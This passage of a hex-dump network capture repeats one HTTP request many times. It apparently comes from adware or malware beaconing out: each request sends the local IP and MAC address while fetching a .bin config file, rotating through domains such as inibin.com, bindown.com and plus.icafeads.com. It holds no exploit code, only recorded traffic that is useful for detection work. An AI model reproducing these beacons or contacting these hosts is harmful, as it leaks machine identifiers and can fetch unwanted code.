0x00000040 (00064)   58585858 58585858 58204854 54502f31   XXXXXXXXX HTTP/1
0x00000050 (00080)   2e310d0a 41636365 70743a20 2a2f2a0d   .1..Accept: */*.
0x00000060 (00096)   0a416363 6570742d 456e636f 64696e67   .Accept-Encoding
0x00000070 (00112)   3a206465 666c6174 650d0a41 63636570   : deflate..Accep
0x00000080 (00128)   742d4c61 6e677561 67653a20 7a682d63   t-Language: zh-c
0x00000090 (00144)   6e0d0a55 7365722d 4167656e 743a204d   n..User-Agent: M
0x000000a0 (00160)   6f7a696c 6c612f34 2e302028 636f6d70   ozilla/4.0 (comp
0x000000b0 (00176)   61746962 6c653b20 4d534945 20362e30   atible; MSIE 6.0
0x000000c0 (00192)   3b205769 6e646f77 73204e54 20352e31   ; Windows NT 5.1
0x000000d0 (00208)   3b205356 313b202e 4e455420 434c5220   ; SV1; .NET CLR 
0x000000e0 (00224)   322e302e 35303732 373b290d 0a486f73   2.0.50727;)..Hos
0x000000f0 (00240)   743a2069 6e696269 6e2e636f 6d0d0a43   t: inibin.com..C
0x00000100 (00256)   6f6e6e65 6374696f 6e3a2043 6c6f7365   onnection: Close
0x00000110 (00272)   0d0a4361 6368652d 436f6e74 726f6c3a   ..Cache-Control:
0x00000120 (00288)   206e6f2d 63616368 650d0a0d 0a0a6865    no-cache.....he
0x00000130 (00304)   0d0a0d0a                              ....

0x00000000 (00000)   47455420 2f706c75 732f636f 6e666967   GET /plus/config
0x00000010 (00016)   2f646f77 6e313233 2e302e62 696e3f76   /down123.0.bin?v
0x00000020 (00032)   65723d33 2e313830 266c6970 3d313932   er=3.180&lip=192
0x00000030 (00048)   2e313638 2e312e32 266d6163 3d585858   .168.1.2&mac=XXX
0x00000040 (00064)   58585858 58585858 58204854 54502f31   XXXXXXXXX HTTP/1
0x00000050 (00080)   2e310d0a 41636365 70743a20 2a2f2a0d   .1..Accept: */*.
0x00000060 (00096)   0a416363 6570742d 456e636f 64696e67   .Accept-Encoding
0x00000070 (00112)   3a206465 666c6174 650d0a41 63636570   : deflate..Accep
0x00000080 (00128)   742d4c61 6e677561 67653a20 7a682d63   t-Language: zh-c
0x00000090 (00144)   6e0d0a55 7365722d 4167656e 743a204d   n..User-Agent: M
0x000000a0 (00160)   6f7a696c 6c612f34 2e302028 636f6d70   ozilla/4.0 (comp
0x000000b0 (00176)   61746962 6c653b20 4d534945 20362e30   atible; MSIE 6.0
0x000000c0 (00192)   3b205769 6e646f77 73204e54 20352e31   ; Windows NT 5.1
0x000000d0 (00208)   3b205356 313b202e 4e455420 434c5220   ; SV1; .NET CLR 
0x000000e0 (00224)   322e302e 35303732 373b290d 0a486f73   2.0.50727;)..Hos
0x000000f0 (00240)   743a2062 696e646f 776e2e63 6f6d0d0a   t: bindown.com..
0x00000100 (00256)   436f6e6e 65637469 6f6e3a20 436c6f73   Connection: Clos
0x00000110 (00272)   650d0a43 61636865 2d436f6e 74726f6c   e..Cache-Control
0x00000120 (00288)   3a206e6f 2d636163 68650d0a 0d0a6865   : no-cache....he
0x00000130 (00304)   0d0a0d0a                              ....

0x00000000 (00000)   47455420 2f706c75 732f636f 6e666967   GET /plus/config
0x00000010 (00016)   2f646f77 6e313233 2e302e62 696e3f76   /down123.0.bin?v
0x00000020 (00032)   65723d33 2e313830 266c6970 3d313932   er=3.180&lip=192
0x00000030 (00048)   2e313638 2e312e32 266d6163 3d585858   .168.1.2&mac=XXX
0x00000040 (00064)   58585858 58585858 58204854 54502f31   XXXXXXXXX HTTP/1
0x00000050 (00080)   2e310d0a 41636365 70743a20 2a2f2a0d   .1..Accept: */*.
0x00000060 (00096)   0a416363 6570742d 456e636f 64696e67   .Accept-Encoding
0x00000070 (00112)   3a206465 666c6174 650d0a41 63636570   : deflate..Accep
0x00000080 (00128)   742d4c61 6e677561 67653a20 7a682d63   t-Language: zh-c
0x00000090 (00144)   6e0d0a55 7365722d 4167656e 743a204d   n..User-Agent: M
0x000000a0 (00160)   6f7a696c 6c612f34 2e302028 636f6d70   ozilla/4.0 (comp
0x000000b0 (00176)   61746962 6c653b20 4d534945 20362e30   atible; MSIE 6.0
0x000000c0 (00192)   3b205769 6e646f77 73204e54 20352e31   ; Windows NT 5.1
0x000000d0 (00208)   3b205356 313b202e 4e455420 434c5220   ; SV1; .NET CLR 
0x000000e0 (00224)   322e302e 35303732 373b290d 0a486f73   2.0.50727;)..Hos
0x000000f0 (00240)   743a2070 6c75732e 7a7a696e 666f722e   t: plus.zzinfor.
0x00000100 (00256)   636e0d0a 436f6e6e 65637469 6f6e3a20   cn..Connection: 
0x00000110 (00272)   436c6f73 650d0a43 61636865 2d436f6e   Close..Cache-Con
0x00000120 (00288)   74726f6c 3a206e6f 2d636163 68650d0a   trol: no-cache..
0x00000130 (00304)   0d0a0d0a                              ....

0x00000000 (00000)   47455420 2f706c75 732f636f 6e666967   GET /plus/config
0x00000010 (00016)   2f646f77 6e313233 2e302e62 696e3f76   /down123.0.bin?v
0x00000020 (00032)   65723d33 2e313830 266c6970 3d313932   er=3.180&lip=192
0x00000030 (00048)   2e313638 2e312e32 266d6163 3d585858   .168.1.2&mac=XXX
0x00000040 (00064)   58585858 58585858 58204854 54502f31   XXXXXXXXX HTTP/1
0x00000050 (00080)   2e310d0a 41636365 70743a20 2a2f2a0d   .1..Accept: */*.
0x00000060 (00096)   0a416363 6570742d 456e636f 64696e67   .Accept-Encoding
0x00000070 (00112)   3a206465 666c6174 650d0a41 63636570   : deflate..Accep
0x00000080 (00128)   742d4c61 6e677561 67653a20 7a682d63   t-Language: zh-c
0x00000090 (00144)   6e0d0a55 7365722d 4167656e 743a204d   n..User-Agent: M
0x000000a0 (00160)   6f7a696c 6c612f34 2e302028 636f6d70   ozilla/4.0 (comp
0x000000b0 (00176)   61746962 6c653b20 4d534945 20362e30   atible; MSIE 6.0
0x000000c0 (00192)   3b205769 6e646f77 73204e54 20352e31   ; Windows NT 5.1
0x000000d0 (00208)   3b205356 313b202e 4e455420 434c5220   ; SV1; .NET CLR 
0x000000e0 (00224)   322e302e 35303732 373b290d 0a486f73   2.0.50727;)..Hos
0x000000f0 (00240)   743a2070 6c75732e 736f6f6d 656e672e   t: plus.soomeng.
0x00000100 (00256)   636f6d0d 0a436f6e 6e656374 696f6e3a   com..Connection:
0x00000110 (00272)   20436c6f 73650d0a 43616368 652d436f    Close..Cache-Co
0x00000120 (00288)   6e74726f 6c3a206e 6f2d6361 6368650d   ntrol: no-cache.
0x00000130 (00304)   0a0d0a0a                              ....

0x00000000 (00000)   47455420 2f706c75 732f636f 6e666967   GET /plus/config
0x00000010 (00016)   2f646f77 6e313233 2e302e62 696e3f76   /down123.0.bin?v
0x00000020 (00032)   65723d33 2e313830 266c6970 3d313932   er=3.180&lip=192
0x00000030 (00048)   2e313638 2e312e32 266d6163 3d585858   .168.1.2&mac=XXX
0x00000040 (00064)   58585858 58585858 58204854 54502f31   XXXXXXXXX HTTP/1
0x00000050 (00080)   2e310d0a 41636365 70743a20 2a2f2a0d   .1..Accept: */*.
0x00000060 (00096)   0a416363 6570742d 456e636f 64696e67   .Accept-Encoding
0x00000070 (00112)   3a206465 666c6174 650d0a41 63636570   : deflate..Accep
0x00000080 (00128)   742d4c61 6e677561 67653a20 7a682d63   t-Language: zh-c
0x00000090 (00144)   6e0d0a55 7365722d 4167656e 743a204d   n..User-Agent: M
0x000000a0 (00160)   6f7a696c 6c612f34 2e302028 636f6d70   ozilla/4.0 (comp
0x000000b0 (00176)   61746962 6c653b20 4d534945 20362e30   atible; MSIE 6.0
0x000000c0 (00192)   3b205769 6e646f77 73204e54 20352e31   ; Windows NT 5.1
0x000000d0 (00208)   3b205356 313b202e 4e455420 434c5220   ; SV1; .NET CLR 
0x000000e0 (00224)   322e302e 35303732 373b290d 0a486f73   2.0.50727;)..Hos
0x000000f0 (00240)   743a2070 6c75732e 69636166 65616473   t: plus.icafeads
0x00000100 (00256)   2e636f6d 0d0a436f 6e6e6563 74696f6e   .com..Connection
0x00000110 (00272)   3a20436c 6f73650d 0a436163 68652d43   : Close..Cache-C
0x00000120 (00288)   6f6e7472 6f6c3a20 6e6f2d63 61636865   ontrol: no-cache
0x00000130 (00304)   0d0a0d0a                              ....

0x00000000 (00000)   47455420 2f706c75 732f636f 6e666967   GET /plus/config
0x00000010 (00016)   2f646f77 6e313233 2e302e62 696e3f76   /down123.0.bin?v
0x00000020 (00032)   65723d33 2e313830 266c6970 3d313932   er=3.180&lip=192
0x00000030 (00048)   2e313638 2e312e32 266d6163 3d585858   .168.1.2&mac=XXX
0x00000040 (00064)   58585858 58585858 58204854 54502f31   XXXXXXXXX HTTP/1
0x00000050 (00080)   2e310d0a 41636365 70743a20 2a2f2a0d   .1..Accept: */*.
0x00000060 (00096)   0a416363 6570742d 456e636f 64696e67   .Accept-Encoding
0x00000070 (00112)   3a206465 666c6174 650d0a41 63636570   : deflate..Accep
0x00000080 (00128)   742d4c61 6e677561 67653a20 7a682d63   t-Language: zh-c
0x00000090 (00144)   6e0d0a55 7365722d 4167656e 743a204d   n..User-Agent: M
0x000000a0 (00160)   6f7a696c 6c612f34 2e302028 636f6d70   ozilla/4.0 (comp
0x000000b0 (00176)   61746962 6c653b20 4d534945 20362e30   atible; MSIE 6.0
0x000000c0 (00192)   3b205769 6e646f77 73204e54 20352e31   ; Windows NT 5.1
0x000000d0 (00208)   3b205356 313b202e 4e455420 434c5220   ; SV1; .NET CLR 
0x000000e0 (00224)   322e302e 35303732 373b290d 0a486f73   2.0.50727;)..Hos
0x000000f0 (00240)   743a2064 6f776e69 6e692e63 6f6d0d0a   t: downini.com..
0x00000100 (00256)   436f6e6e 65637469 6f6e3a20 436c6f73   Connection: Clos
0x00000110 (00272)   650d0a43 61636865 2d436f6e 74726f6c   e..Cache-Control
0x00000120 (00288)   3a206e6f 2d636163 68650d0a 0d0a6865   : no-cache....he
0x00000130 (00304)   0d0a0d0a                              ....

0x00000000 (00000)   47455420 2f706c75 732f636f 6e666967   GET /plus/config
0x00000010 (00016)   2f646f77 6e313233 2e302e62 696e3f76   /down123.0.bin?v
0x00000020 (00032)   65723d33 2e313830 266c6970 3d313932   er=3.180&lip=192
0x00000030 (00048)   2e313638 2e312e32 266d6163 3d585858   .168.1.2&mac=XXX
0x00000040 (00064)   58585858 58585858 58204854 54502f31   XXXXXXXXX HTTP/1
0x00000050 (00080)   2e310d0a 41636365 70743a20 2a2f2a0d   .1..Accept: */*.
0x00000060 (00096)   0a416363 6570742d 456e636f 64696e67   .Accept-Encoding
0x00000070 (00112)   3a206465 666c6174 650d0a41 63636570   : deflate..Accep
0x00000080 (00128)   742d4c61 6e677561 67653a20 7a682d63   t-Language: zh-c
0x00000090 (00144)   6e0d0a55 7365722d 4167656e 743a204d   n..User-Agent: M
0x000000a0 (00160)   6f7a696c 6c612f34 2e302028 636f6d70   ozilla/4.0 (comp
0x000000b0 (00176)   61746962 6c653b20 4d534945 20362e30   atible; MSIE 6.0
0x000000c0 (00192)   3b205769 6e646f77 73204e54 20352e31   ; Windows NT 5.1
0x000000d0 (00208)   3b205356 313b202e 4e455420 434c5220   ; SV1; .NET CLR 
0x000000e0 (00224)   322e302e 35303732 373b290d 0a486f73   2.0.50727;)..Hos
0x000000f0 (00240)   743a2069 6e69787a 2e636f6d 0d0a436f   t: inixz.com..Co
0x00000100 (00256)   6e6e6563 74696f6e 3a20436c 6f73650d   nnection: Close.
0x00000110 (00272)   0a436163 68652d43 6f6e7472 6f6c3a20   .Cache-Control: 
0x00000120 (00288)   6e6f2d63 61636865 0d0a0d0a 0d0a6865   no-cache......he
0x00000130 (00304)   0d0a0d0a                              ....

0x00000000 (00000)   47455420 2f706c75 732f636f 6e666967   GET /plus/config
0x00000010 (00016)   2f646f77 6e313233 2e302e62 696e3f76   /down123.0.bin?v
0x00000020 (00032)   65723d33 2e313830 266c6970 3d313932   er=3.180&lip=192
0x00000030 (00048)   2e313638 2e312e32 266d6163 3d585858   .168.1.2&mac=XXX
0x00000040 (00064)   58585858 58585858 58204854 54502f31   XXXXXXXXX HTTP/1
0x00000050 (00080)   2e310d0a 41636365 70743a20 2a2f2a0d   .1..Accept: */*.
0x00000060 (00096)   0a416363 6570742d 456e636f 64696e67   .Accept-Encoding
0x00000070 (00112)   3a206465 666c6174 650d0a41 63636570   : deflate..Accep
0x00000080 (00128)   742d4c61 6e677561 67653a20 7a682d63   t-Language: zh-c
0x00000090 (00144)   6e0d0a55 7365722d 4167656e 743a204d   n..User-Agent: M
0x000000a0 (00160)   6f7a696c 6c612f34 2e302028 636f6d70   ozilla/4.0 (comp
0x000000b0 (00176)   61746962 6c653b20 4d534945 20362e30   atible; MSIE 6.0
0x000000c0 (00192)   3b205769 6e646f77 73204e54 20352e31   ; Windows NT 5.1
0x000000d0 (00208)   3b205356 313b202e 4e455420 434c5220   ; SV1; .NET CLR 
0x000000e0 (00224)   322e302e 35303732 373b290d 0a486f73   2.0.50727;)..Hos
0x000000f0 (00240)   743a2069 6e696269 6e2e636f 6d0d0a43   t: inibin.com..C
0x00000100 (00256)   6f6e6e65 6374696f 6e3a2043 6c6f7365   onnection: Close
0x00000110 (00272)   0d0a4361 6368652d 436f6e74 726f6c3a   ..Cache-Control:
0x00000120 (00288)   206e6f2d 63616368 650d0a0d 0a0a6865    no-cache.....he
0x00000130 (00304)   0d0a0d0a                              ....

0x00000000 (00000)   47455420 2f706c75 732f636f 6e666967   GET /plus/config
0x00000010 (00016)   2f646f77 6e313233 2e302e62 696e3f76   /down123.0.bin?v
0x00000020 (00032)   65723d33 2e313830 266c6970 3d313932   er=3.180&lip=192
0x00000030 (00048)   2e313638 2e312e32 266d6163 3d585858   .168.1.2&mac=XXX
0x00000040 (00064)   58585858 58585858 58204854 54502f31   XXXXXXXXX HTTP/1
0x00000050 (00080)   2e310d0a 41636365 70743a20 2a2f2a0d   .1..Accept: */*.
0x00000060 (00096)   0a416363 6570742d 456e636f 64696e67   .Accept-Encoding
0x00000070 (00112)   3a206465 666c6174 650d0a41 63636570   : deflate..Accep
0x00000080 (00128)   742d4c61 6e677561 67653a20 7a682d63   t-Language: zh-c
0x00000090 (00144)   6e0d0a55 7365722d 4167656e 743a204d   n..User-Agent: M
0x000000a0 (00160)   6f7a696c 6c612f34 2e302028 636f6d70   ozilla/4.0 (comp
0x000000b0 (00176)   61746962 6c653b20 4d534945 20362e30   atible; MSIE 6.0
0x000000c0 (00192)   3b205769 6e646f77 73204e54 20352e31   ; Windows NT 5.1
0x000000d0 (00208)   3b205356 313b202e 4e455420 434c5220   ; SV1; .NET CLR 
0x000000e0 (00224)   322e302e 35303732 373b290d 0a486f73   2.0.50727;)..Hos
0x000000f0 (00240)   743a2062 696e646f 776e2e63 6f6d0d0a   t: bindown.com..
0x00000100 (00256)   436f6e6e 65637469 6f6e3a20 436c6f73   Connection: Clos
0x00000110 (00272)   650d0a43 61636865 2d436f6e 74726f6c   e..Cache-Control
0x00000120 (00288)   3a206e6f 2d636163 68650d0a 0d0a6865   : no-cache....he
0x00000130 (00304)   0d0a0d0a                              ....

0x00000000 (00000)   47455420 2f706c75 732f636f 6e666967   GET /plus/config
0x00000010 (00016)   2f646f77 6e313233 2e302e62 696e3f76   /down123.0.bin?v
0x00000020 (00032)   65723d33 2e313830 266c6970 3d313932   er=3.180&lip=192
0x00000030 (00048)   2e313638 2e312e32 266d6163 3d585858   .168.1.2&mac=XXX
0x00000040 (00064)   58585858 58585858 58204854 54502f31   XXXXXXXXX HTTP/1
0x00000050 (00080)   2e310d0a 41636365 70743a20 2a2f2a0d   .1..Accept: */*.
0x00000060 (00096)   0a416363 6570742d 456e636f 64696e67   .Accept-Encoding
0x00000070 (00112)   3a206465 666c6174 650d0a41 63636570   : deflate..Accep
0x00000080 (00128)   742d4c61 6e677561 67653a20 7a682d63   t-Language: zh-c
0x00000090 (00144)   6e0d0a55 7365722d 4167656e 743a204d   n..User-Agent: M
0x000000a0 (00160)   6f7a696c 6c612f34 2e302028 636f6d70   ozilla/4.0 (comp
0x000000b0 (00176)   61746962 6c653b20 4d534945 20362e30   atible; MSIE 6.0
0x000000c0 (00192)   3b205769 6e646f77 73204e54 20352e31   ; Windows NT 5.1
0x000000d0 (00208)   3b205356 313b202e 4e455420 434c5220   ; SV1; .NET CLR 
0x000000e0 (00224)   322e302e 35303732 373b290d 0a486f73   2.0.50727;)..Hos
0x000000f0 (00240)   743a2070 6c75732e 7a7a696e 666f722e   t: plus.zzinfor.
0x00000100 (00256)   636e0d0a 436f6e6e 65637469 6f6e3a20   cn..Connection: 
0x00000110 (00272)   436c6f73 650d0a43 61636865 2d436f6e   Close..Cache-Con
0x00000120 (00288)   74726f6c 3a206e6f 2d636163 68650d0a   trol: no-cache..
0x00000130 (00304)   0d0a0d0a                              ....

0x00000000 (00000)   47455420 2f706c75 732f636f 6e666967   GET /plus/config
0x00000010 (00016)   2f646f77 6e313233 2e302e62 696e3f76   /down123.0.bin?v
0x00000020 (00032)   65723d33 2e313830 266c6970 3d313932   er=3.180&lip=192
0x00000030 (00048)   2e313638 2e312e32 266d6163 3d585858   .168.1.2&mac=XXX
0x00000040 (00064)   58585858 58585858 58204854 54502f31   XXXXXXXXX HTTP/1
0x00000050 (00080)   2e310d0a 41636365 70743a20 2a2f2a0d   .1..Accept: */*.
0x00000060 (00096)   0a416363 6570742d 456e636f 64696e67   .Accept-Encoding
0x00000070 (00112)   3a206465 666c6174 650d0a41 63636570   : deflate..Accep
0x00000080 (00128)   742d4c61 6e677561 67653a20 7a682d63   t-Language: zh-c
0x00000090 (00144)   6e0d0a55 7365722d 4167656e 743a204d   n..User-Agent: M
0x000000a0 (00160)   6f7a696c 6c612f34 2e302028 636f6d70   ozilla/4.0 (comp
0x000000b0 (00176)   61746962 6c653b20 4d534945 20362e30   atible; MSIE 6.0
0x000000c0 (00192)   3b205769 6e646f77 73204e54 20352e31   ; Windows NT 5.1
0x000000d0 (00208)   3b205356 313b202e 4e455420 434c5220   ; SV1; .NET CLR 
0x000000e0 (00224)   322e302e 35303732 373b290d 0a486f73   2.0.50727;)..Hos
0x000000f0 (00240)   743a2070 6c75732e 736f6f6d 656e672e   t: plus.soomeng.
0x00000100 (00256)   636f6d0d 0a436f6e 6e656374 696f6e3a   com..Connection:
0x00000110 (00272)   20436c6f 73650d0a 43616368 652d436f    Close..Cache-Co
0x00000120 (00288)   6e74726f 6c3a206e 6f2d6361 6368650d   ntrol: no-cache.
0x00000130 (00304)   0a0d0a0a                              ....

0x00000000 (00000)   47455420 2f706c75 732f636f 6e666967   GET /plus/config
0x00000010 (00016)   2f646f77 6e313233 2e302e62 696e3f76   /down123.0.bin?v
0x00000020 (00032)   65723d33 2e313830 266c6970 3d313932   er=3.180&lip=192
0x00000030 (00048)   2e313638 2e312e32 266d6163 3d585858   .168.1.2&mac=XXX
0x00000040 (00064)   58585858 58585858 58204854 54502f31   XXXXXXXXX HTTP/1
0x00000050 (00080)   2e310d0a 41636365 70743a20 2a2f2a0d   .1..Accept: */*.
0x00000060 (00096)   0a416363 6570742d 456e636f 64696e67   .Accept-Encoding
0x00000070 (00112)   3a206465 666c6174 650d0a41 63636570   : deflate..Accep
0x00000080 (00128)   742d4c61 6e677561 67653a20 7a682d63   t-Language: zh-c
0x00000090 (00144)   6e0d0a55 7365722d 4167656e 743a204d   n..User-Agent: M
0x000000a0 (00160)   6f7a696c 6c612f34 2e302028 636f6d70   ozilla/4.0 (comp
0x000000b0 (00176)   61746962 6c653b20 4d534945 20362e30   atible; MSIE 6.0
0x000000c0 (00192)   3b205769 6e646f77 73204e54 20352e31   ; Windows NT 5.1
0x000000d0 (00208)   3b205356 313b202e 4e455420 434c5220   ; SV1; .NET CLR 
0x000000e0 (00224)   322e302e 35303732 373b290d 0a486f73   2.0.50727;)..Hos
0x000000f0 (00240)   743a2070 6c75732e 69636166 65616473   t: plus.icafeads
0x00000100 (00256)   2e636f6d 0d0a436f 6e6e6563 74696f6e   .com..Connection
0x00000110 (00272)   3a20436c 6f73650d 0a436163 68652d43   : Close..Cache-C
0x00000120 (00288)   6f6e7472 6f6c3a20 6e6f2d63 61636865   ontrol: no-cache
0x00000130 (00304)   0d0a0d0a                              ....

0x00000000 (00000)   47455420 2f706c75 732f636f 6e666967   GET /plus/config
0x00000010 (00016)   2f646f77 6e313233 2e302e62 696e3f76   /down123.0.bin?v
0x00000020 (00032)   65723d33 2e313830 266c6970 3d313932   er=3.180&lip=192
0x00000030 (00048)   2e313638 2e312e32 266d6163 3d585858   .168.1.2&mac=XXX
0x00000040 (00064)   58585858 58585858 58204854 54502f31   XXXXXXXXX HTTP/1
0x00000050 (00080)   2e310d0a 41636365 70743a20 2a2f2a0d   .1..Accept: */*.
0x00000060 (00096)   0a416363 6570742d 456e636f 64696e67   .Accept-Encoding
0x00000070 (00112)   3a206465 666c6174 650d0a41 63636570   : deflate..Accep
0x00000080 (00128)   742d4c61 6e677561 67653a20 7a682d63   t-Language: zh-c
0x00000090 (00144)   6e0d0a55 7365722d 4167656e 743a204d   n..User-Agent: M
0x000000a0 (00160)   6f7a696c 6c612f34 2e302028 636f6d70   ozilla/4.0 (comp
0x000000b0 (00176)   61746962 6c653b20 4d534945 20362e30   atible; MSIE 6.0
0x000000c0 (00192)   3b205769 6e646f77 73204e54 20352e31   ; Windows NT 5.1
0x000000d0 (00208)   3b205356 313b202e 4e455420 434c5220   ; SV1; .NET CLR 
0x000000e0 (00224)   322e302e 35303732 373b290d 0a486f73   2.0.50727;)..Hos
0x000000f0 (00240)   743a2064 6f776e69 6e692e63 6f6d0d0a   t: downini.com..
0x00000100 (00256)   436f6e6e 65637469 6f6e3a20 436c6f73   Connection: Clos
0x00000110 (00272)   650d0a43 61636865 2d436f6e 74726f6c   e..Cache-Control
0x00000120 (00288)   3a206e6f 2d636163 68650d0a 0d0a6865   : no-cache....he
0x00000130 (00304)   0d0a0d0a                              ....

0x00000000 (00000)   47455420 2f706c75 732f636f 6e666967   GET /plus/config
0x00000010 (00016)   2f646f77 6e313233 2e302e62 696e3f76   /down123.0.bin?v
0x00000020 (00032)   65723d33 2e313830 266c6970 3d313932   er=3.180&lip=192
0x00000030 (00048)   2e313638 2e312e32 266d6163 3d585858   .168.1.2&mac=XXX
0x00000040 (00064)   58585858 58585858 58204854 54502f31   XXXXXXXXX HTTP/1
0x00000050 (00080)   2e310d0a 41636365 70743a20 2a2f2a0d   .1..Accept: */*.
0x00000060 (00096)   0a416363 6570742d 456e636f 64696e67   .Accept-Encoding
0x00000070 (00112)   3a206465 666c6174 650d0a41 63636570   : deflate..Accep
0x00000080 (00128)   742d4c61 6e677561 67653a20 7a682d63   t-Language: zh-c
0x00000090 (00144)   6e0d0a55 7365722d 4167656e 743a204d   n..User-Agent: M
0x000000a0 (00160)   6f7a696c 6c612f34 2e302028 636f6d70   ozilla/4.0 (comp
0x000000b0 (00176)   61746962 6c653b20 4d534945 20362e30   atible; MSIE 6.0
0x000000c0 (00192)   3b205769 6e646f77 73204e54 20352e31   ; Windows NT 5.1
0x000000d0 (00208)   3b205356 313b202e 4e455420 434c5220   ; SV1; .NET CLR 
0x000000e0 (00224)   322e302e 35303732 373b290d 0a486f73   2.0.50727;)..Hos
0x000000f0 (00240)   743a2069 6e69787a 2e636f6d 0d0a436f   t: inixz.com..Co
0x00000100 (00256)   6e6e6563 74696f6e 3a20436c 6f73650d   nnection: Close.
0x00000110 (00272)   0a436163 68652d43 6f6e7472 6f6c3a20   .Cache-Control: 
0x00000120 (00288)   6e6f2d63 61636865 0d0a0d0a 0d0a6865   no-cache......he
0x00000130 (00304)   0d0a0d0a                              ....

0x00000000 (00000)   47455420 2f706c75 732f636f 6e666967   GET /plus/config
0x00000010 (00016)   2f646f77 6e313233 2e302e62 696e3f76   /down123.0.bin?v
0x00000020 (00032)   65723d33 2e313830 266c6970 3d313932   er=3.180&lip=192
0x00000030 (00048)   2e313638 2e312e32 266d6163 3d585858   .168.1.2&mac=XXX
0x00000040 (00064)   58585858 58585858 58204854 54502f31   XXXXXXXXX HTTP/1
0x00000050 (00080)   2e310d0a 41636365 70743a20 2a2f2a0d   .1..Accept: */*.
0x00000060 (00096)   0a416363 6570742d 456e636f 64696e67   .Accept-Encoding
0x00000070 (00112)   3a206465 666c6174 650d0a41 63636570   : deflate..Accep
0x00000080 (00128)   742d4c61 6e677561 67653a20 7a682d63   t-Language: zh-c
0x00000090 (00144)   6e0d0a55 7365722d 4167656e 743a204d   n..User-Agent: M
0x000000a0 (00160)   6f7a696c 6c612f34 2e302028 636f6d70   ozilla/4.0 (comp
0x000000b0 (00176)   61746962 6c653b20 4d534945 20362e30   atible; MSIE 6.0
0x000000c0 (00192)   3b205769 6e646f77 73204e54 20352e31   ; Windows NT 5.1
0x000000d0 (00208)   3b205356 313b202e 4e455420 434c5220   ; SV1; .NET CLR 
0x000000e0 (00224)   322e302e 35303732 373b290d 0a486f73   2.0.50727;)..Hos
0x000000f0 (00240)   743a2069 6e696269 6e2e636f 6d0d0a43   t: inibin.com..C
0x00000100 (00256)   6f6e6e65 6374696f 6e3a2043 6c6f7365   onnection: Close
0x00000110 (00272)   0d0a4361 6368652d 436f6e74 726f6c3a   ..Cache-Control:
0x00000120 (00288)   206e6f2d 63616368 650d0a0d 0a0a6865    no-cache.....he
0x00000130 (00304)   0d0a0d0a                              ....

0x00000000 (00000)   47455420 2f706c75 732f636f 6e666967   GET /plus/config
0x00000010 (00016)   2f646f77 6e313233 2e302e62 696e3f76   /down123.0.bin?v
0x00000020 (00032)   65723d33 2e313830 266c6970 3d313932   er=3.180&lip=192
0x00000030 (00048)   2e313638 2e312e32 266d6163 3d585858   .168.1.2&mac=XXX
0x00000040 (00064)   58585858 58585858 58204854 54502f31   XXXXXXXXX HTTP/1
0x00000050 (00080)   2e310d0a 41636365 70743a20 2a2f2a0d   .1..Accept: */*.
0x00000060 (00096)   0a416363 6570742d 456e636f 64696e67   .Accept-Encoding
0x00000070 (00112)   3a206465 666c6174 650d0a41 63636570   : deflate..Accep
0x00000080 (00128)   742d4c61 6e677561 67653a20 7a682d63   t-Language: zh-c
0x00000090 (00144)   6e0d0a55 7365722d 4167656e 743a204d   n..User-Agent: M
0x000000a0 (00160)   6f7a696c 6c612f34 2e302028 636f6d70   ozilla/4.0 (comp
0x000000b0 (00176)   61746962 6c653b20 4d534945 20362e30   atible; MSIE 6.0
0x000000c0 (00192)   3b205769 6e646f77 73204e54 20352e31   ; Windows NT 5.1
0x000000d0 (00208)   3b205356 313b202e 4e455420 434c5220   ; SV1; .NET CLR 
0x000000e0 (00224)   322e302e 35303732 373b290d 0a486f73   2.0.50727;)..Hos
0x000000f0 (00240)   743a2062 696e646f 776e2e63 6f6d0d0a   t: bindown.com..
0x00000100 (00256)   436f6e6e 65637469 6f6e3a20 436c6f73   Connection: Clos
0x00000110 (00272)   650d0a43 61636865 2d436f6e 74726f6c   e..Cache-Control
0x00000120 (00288)   3a206e6f 2d636163 68650d0a 0d0a6865   : no-cache....he
0x00000130 (00304)   0d0a0d0a                              ....

0x00000000 (00000)   47455420 2f706c75 732f636f 6e666967   GET /plus/config
0x00000010 (00016)   2f646f77 6e313233 2e302e62 696e3f76   /down123.0.bin?v
0x00000020 (00032)   65723d33 2e313830 266c6970 3d313932   er=3.180&lip=192
0x00000030 (00048)   2e313638 2e312e32 266d6163 3d585858   .168.1.2&mac=XXX
0x00000040 (00064)   58585858 58585858 58204854 54502f31   XXXXXXXXX HTTP/1
0x00000050 (00080)   2e310d0a 41636365 70743a20 2a2f2a0d   .1..Accept: */*.
0x00000060 (00096)   0a416363 6570742d 456e636f 64696e67   .Accept-Encoding
0x00000070 (00112)   3a206465 666c6174 650d0a41 63636570   : deflate..Accep
0x00000080 (00128)   742d4c61 6e677561 67653a20 7a682d63   t-Language: zh-c
0x00000090 (00144)   6e0d0a55 7365722d 4167656e 743a204d   n..User-Agent: M
0x000000a0 (00160)   6f7a696c 6c612f34 2e302028 636f6d70   ozilla/4.0 (comp
0x000000b0 (00176)   61746962 6c653b20 4d534945 20362e30   atible; MSIE 6.0
0x000000c0 (00192)   3b205769 6e646f77 73204e54 20352e31   ; Windows NT 5.1
0x000000d0 (00208)   3b205356 313b202e 4e455420 434c5220   ; SV1; .NET CLR 
0x000000e0 (00224)   322e302e 35303732 373b290d 0a486f73   2.0.50727;)..Hos
0x000000f0 (00240)   743a2070 6c75732e 7a7a696e 666f722e   t: plus.zzinfor.
0x00000100 (00256)   636e0d0a 436f6e6e 65637469 6f6e3a20   cn..Connection: 
0x00000110 (00272)   436c6f73 650d0a43 61636865 2d436f6e   Close..Cache-Con
0x00000120 (00288)   74726f6c 3a206e6f 2d636163 68650d0a   trol: no-cache..
0x00000130 (00304)   0d0a0d0a                              ....

0x00000000 (00000)   47455420 2f706c75 732f636f 6e666967   GET /plus/config
0x00000010 (00016)   2f646f77 6e313233 2e302e62 696e3f76   /down123.0.bin?v
0x00000020 (00032)   65723d33 2e313830 266c6970 3d313932   er=3.180&lip=192
0x00000030 (00048)   2e313638 2e312e32 266d6163 3d585858   .168.1.2&mac=XXX
0x00000040 (00064)   58585858 58585858 58204854 54502f31   XXXXXXXXX HTTP/1
0x00000050 (00080)   2e310d0a 41636365 70743a20 2a2f2a0d   .1..Accept: */*.
0x00000060 (00096)   0a416363 6570742d 456e636f 64696e67   .Accept-Encoding
0x00000070 (00112)   3a206465 666c6174 650d0a41 63636570   : deflate..Accep
0x00000080 (00128)   742d4c61 6e677561 67653a20 7a682d63   t-Language: zh-c
0x00000090 (00144)   6e0d0a55 7365722d 4167656e 743a204d   n..User-Agent: M
0x000000a0 (00160)   6f7a696c 6c612f34 2e302028 636f6d70   ozilla/4.0 (comp
